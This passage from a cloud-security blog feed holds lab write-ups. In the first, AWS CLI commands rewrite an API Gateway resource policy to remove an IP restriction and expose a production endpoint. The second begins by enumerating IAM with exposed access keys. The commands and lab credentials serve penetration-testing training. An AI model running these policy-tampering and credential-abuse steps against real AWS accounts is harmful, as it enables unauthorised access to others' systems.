</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-05T01:23:02+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>The following is a high-level summary of the permissions that are of interest to us:</p>
<ul>
<li><code>apigateway:POST</code>: Allows creating deployments for any REST API in the <code>us-west-2</code> region</li>
<li><code>apigateway:GET</code> <code>apigateway:PATH</code>: Allows reading and modifying any REST API in the <code>us-west-2</code> region</li>
<li><code>apigateway:UpdateRestApiPolicy</code>: Allows updating the policy for any REST API in the <code>us-west-2</code> region</li>
</ul>
<p>We can definitely work with that and now time to review the AWS documentation on how we can modify the production endpoint to remove the SourceIP restriction.</p>
<p>We have the policy from earlier, and reading through the documentation, we can generate a skeleton file that we will use to fill out.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws apigateway update-rest-api --generate-cli-skeleton | tee update_api_policy.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;restApiId&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;patchOperations&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;op&#34;</span>: <span style="color:#e6db74">&#34;add&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;path&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;value&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;from&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>As we have saved the policy document, we will do a little <code>vim</code> magic so that this is can be added into the skeleton file that we will the pass in so that we can update the policy.  With the current policy in <code>vim</code> remove the Condition Statement and then save the file so it looks like the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Principal&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;execute-api:Invoke&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Principal&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;execute-api:Invoke&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>From Normal Mode enter the following sequence of characters <code>gg0 VG J</code> and your file will now look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{ <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>, <span style="color:#f92672">&#34;Statement&#34;</span>: [ { <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>, <span style="color:#f92672">&#34;Principal&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>, <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;execute-api:Invoke&#34;</span>, <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod&#34;</span>, <span style="color:#960050;background-color:#1e0010">{</span> <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>, <span style="color:#f92672">&#34;Principal&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>, <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;execute-api:Invoke&#34;</span>, <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev&#34;</span> } ] }
</span></span></code></pre></div><p>The following is a quick summary of the commands:</p>
<ul>
<li><code>gg</code>: Move the cursor to the beginning of the file.</li>
<li><code>0</code>: Move the cursor to the beginning of the current line.</li>
<li><code>V</code>: Enter Visual mode. This allows you to visually select lines.</li>
<li><code>G</code>: Move the cursor to the last line of the file.</li>
<li><code>J</code>: Join the selected lines into a single line.</li>
</ul>
<p>We now need to escape characters and from command mode enter the <code>%s /&quot;/\\'/g</code> command which will escape all <code>&quot;</code> and copy this across to the skeleton file and make a couple of minor tweaks</p>
<ul>
<li>Change &ldquo;op&rdquo; to replace</li>
<li>Add path <code>/policy</code> (Refer to <a href="https://docs.aws.amazon.com/apigateway/latest/api/patch-operations.html#UpdateRestApi-Patch">AWS Documentation</a>)</li>
<li>Fix the JSON formatting by adding a <code>}</code> after <code>*/GET/prod</code></li>
<li>Remove the <code>from</code> key</li>
</ul>
<p>The skeleton file that we saved which will look like the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;restApiId&#34;</span>: <span style="color:#e6db74">&#34;dyte6595bf&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;patchOperations&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;op&#34;</span>: <span style="color:#e6db74">&#34;replace&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;path&#34;</span>: <span style="color:#e6db74">&#34;/policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;value&#34;</span>: <span style="color:#e6db74">&#34;{ \&#34;Version\&#34;: \&#34;2012-10-17\&#34;, \&#34;Statement\&#34;: [ { \&#34;Effect\&#34;: \&#34;Allow\&#34;, \&#34;Principal\&#34;: \&#34;*\&#34;, \&#34;Action\&#34;: \&#34;execute-api:Invoke\&#34;, \&#34;Resource\&#34;: \&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod\&#34;}, { \&#34;Effect\&#34;: \&#34;Allow\&#34;, \&#34;Principal\&#34;: \&#34;*\&#34;, \&#34;Action\&#34;: \&#34;execute-api:Invoke\&#34;, \&#34;Resource\&#34;: \&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev\&#34; } ] }&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We then import the policy document</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester apigateway update-rest-api --cli-input-json file://update_api_policy.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;dyte6595bf&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;APIGatewayDev&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;description&#34;</span>: <span style="color:#e6db74">&#34;API prototype for new service&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;createdDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-05T09:23:02+08:00&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;apiKeySource&#34;</span>: <span style="color:#e6db74">&#34;HEADER&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;endpointConfiguration&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;types&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;EDGE&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;policy&#34;</span>: <span style="color:#e6db74">&#34;{\\\&#34;Version\\\&#34;:\\\&#34;2012-10-17\\\&#34;,\\\&#34;Statement\\\&#34;:[{\\\&#34;Effect\\\&#34;:\\\&#34;Allow\\\&#34;,\\\&#34;Principal\\\&#34;:\\\&#34;*\\\&#34;,\\\&#34;Action\\\&#34;:\\\&#34;execute-api:Invoke\\\&#34;,\\\&#34;Resource\\\&#34;:\\\&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/GET\\/prod\\\&#34;},{\\\&#34;Effect\\\&#34;:\\\&#34;Allow\\\&#34;,\\\&#34;Principal\\\&#34;:\\\&#34;*\\\&#34;,\\\&#34;Action\\\&#34;:\\\&#34;execute-api:Invoke\\\&#34;,\\\&#34;Resource\\\&#34;:\\\&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/*\\/dev\\\&#34;}]}&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;tags&#34;</span>: <span style="color:#f92672">{}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;disableExecuteApiEndpoint&#34;</span>: false,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;rootResourceId&#34;</span>: <span style="color:#e6db74">&#34;h6cibto12i&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We should now be able to browse the production endpoint.  No!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">403</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">158</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 04:27:50 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: e75aa770-ae72-4f6d-864f-487c63ae5bde
</span></span><span style="display:flex;"><span>x-amzn-errortype: AccessDeniedException
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aa9rHEesPHcEpzQ<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Error from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 8c73194b247676a80d86714cba2447a4.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: SIN52-C3
</span></span><span style="display:flex;"><span>x-amz-cf-id: vfUdSArLUYjba5RRaQSEQc0xXjWp1ypUc0DJj4oHHNFC3eCC7qEIwQ<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;Message&#34;</span>:<span style="color:#e6db74">&#34;User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:us-west-2:********8242:dyte6595bf/api/GET/prod&#34;</span><span style="color:#f92672">}</span>% 
</span></span></code></pre></div><p>We have updated the policy, but still not able to access it.  Why?  Looking through the <a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/updating-api.html">documentation</a> we have to redeploy the endpoint which we shall now do.</p>
<blockquote>
<p>Ensure that you specify a Stage Name as per <a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-deploy-api-with-console.html#how-to-deploy-api-console">https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-deploy-api-with-console.html#how-to-deploy-api-console</a></p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester apigateway create-deployment --rest-api-id dyte6595bf --stage-name api
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;a5kcxr&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;createdDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-05T12:33:02+08:00&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We are able to access this form anywhere now</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod -X GET
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">200</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">44</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 04:43:27 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: 2bd9c8ee-9215-4556-a702-194050af33f8
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aa_9gHnBPHcEe4w<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Miss from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 c2e4ac979e01c116ae8349b7d6d1489a.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: SIN52-C3
</span></span><span style="display:flex;"><span>x-amz-cf-id: XGJ18QRei4ePHMiFHBgsvJdCi5okgJcMSY-XKnrxxhZOzD5S3O0h5g<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;flag&#34;</span>: <span style="color:#e6db74">&#34;redacted&#34;</span><span style="color:#f92672">}</span>% 
</span></span></code></pre></div><p>PWNED!</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Leverage Insecure Storage and Backups for Profit</title>
            <link>https://www.nephos.guru/posts/2024/insecurestoragebackup/</link>
            <pubDate>Wed, 03 Jul 2024 20:12:43 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/insecurestoragebackup/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/leverage-insecure-storage-and-backups-for-profit&#34;&gt;Leverage Insecure Storage and Backups for Profit&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics&amp;rsquo; cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.&lt;/p&gt;
&lt;h2 id=&#34;learning-outcomes&#34;&gt;Learning Outcomes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;IAM and S3 bucket policy enumeration&lt;/li&gt;
&lt;li&gt;Obtaining the Windows administrator password from a launch key&lt;/li&gt;
&lt;li&gt;PowerShell installation and configuration on Linux and Windows&lt;/li&gt;
&lt;li&gt;Extracting password hashes from a local NTDS.dit&lt;/li&gt;
&lt;li&gt;Cracking NT hashes&lt;/li&gt;
&lt;li&gt;An understanding on how this could have been prevented&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;real-world-context&#34;&gt;Real World Context&lt;/h2&gt;
&lt;p&gt;Exposed backups and images on file shares and buckets is common vector with both on-premise and cloud infrastructure. Backups often contain a wealth of sensitive data, including user credentials, databases, configuration files, and more. Gaining access to a backup can provide an attacker with the same level of data access as compromising the primary system. Once an attacker has credentials or other sensitive data from a backup, they can use this information to move laterally and vertically within a network or cloud environment. Sensitive data is often publicly leaked on cloud storage. We can search for sensitive files using the &lt;a href=&#34;https://grayhatwarfare.com/&#34;&gt;GreyhatWarfare&lt;/a&gt; service.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/leverage-insecure-storage-and-backups-for-profit">Leverage Insecure Storage and Backups for Profit</a></p>
<h2 id="scenario">Scenario</h2>
<p>Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics&rsquo; cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>IAM and S3 bucket policy enumeration</li>
<li>Obtaining the Windows administrator password from a launch key</li>
<li>PowerShell installation and configuration on Linux and Windows</li>
<li>Extracting password hashes from a local NTDS.dit</li>
<li>Cracking NT hashes</li>
<li>An understanding on how this could have been prevented</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Exposed backups and images on file shares and buckets is common vector with both on-premise and cloud infrastructure. Backups often contain a wealth of sensitive data, including user credentials, databases, configuration files, and more. Gaining access to a backup can provide an attacker with the same level of data access as compromising the primary system. Once an attacker has credentials or other sensitive data from a backup, they can use this information to move laterally and vertically within a network or cloud environment. Sensitive data is often publicly leaked on cloud storage. We can search for sensitive files using the <a href="https://grayhatwarfare.com/">GreyhatWarfare</a> service.</p>
<h2 id="entry-point">Entry Point</h2>
<p>Access Key: AKIAWHEOTHRFRH64EQRI <br>
Secret Key: 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</p>
<hr>
<h2 id="attack">Attack</h2>
<p>We have credentials, so the first thing to do is configure our AWS CLI client and see if they are valid and for which account.  We have the Account Number and can see that this account is associated with a user account called contractor.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: AKIAWHEOTHRFRH64EQRI
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: ca20SpjCuX95ev4qMbSWyAWg6NpzjBX49XIlygYP
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDAWHEOTHRFTEMEHGPPY&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/contractor&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We first see if there are any attached user policies to the account and we can see that there are two, <code>Policy</code> and <code>AWSCompromisedKeyQuarantineV2</code>.  We don&rsquo;t have permissions to the <code>AWSCompromisedKeyQuarantineV2</code> policy, but we do have access to the other.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam list-attached-user-policies --user-name contractor
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AttachedPolicies&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;Policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Policy&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;AWSCompromisedKeyQuarantineV2&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We list out the details of the Policy and see that this is Version 4 which we will further enumerate</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;Policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPAWHEOTHRFXRFIVBEXM&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v4&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T17:39:55+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-28T14:24:22+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We retrieve the details of the policy.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Document&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor0&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;ec2:DescribeInstances&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor1&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;ec2:GetPasswordData&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor2&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetPolicyVersion&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetPolicy&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetUserPolicy&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:ListAttachedUserPolicies&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetBucketPolicy&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
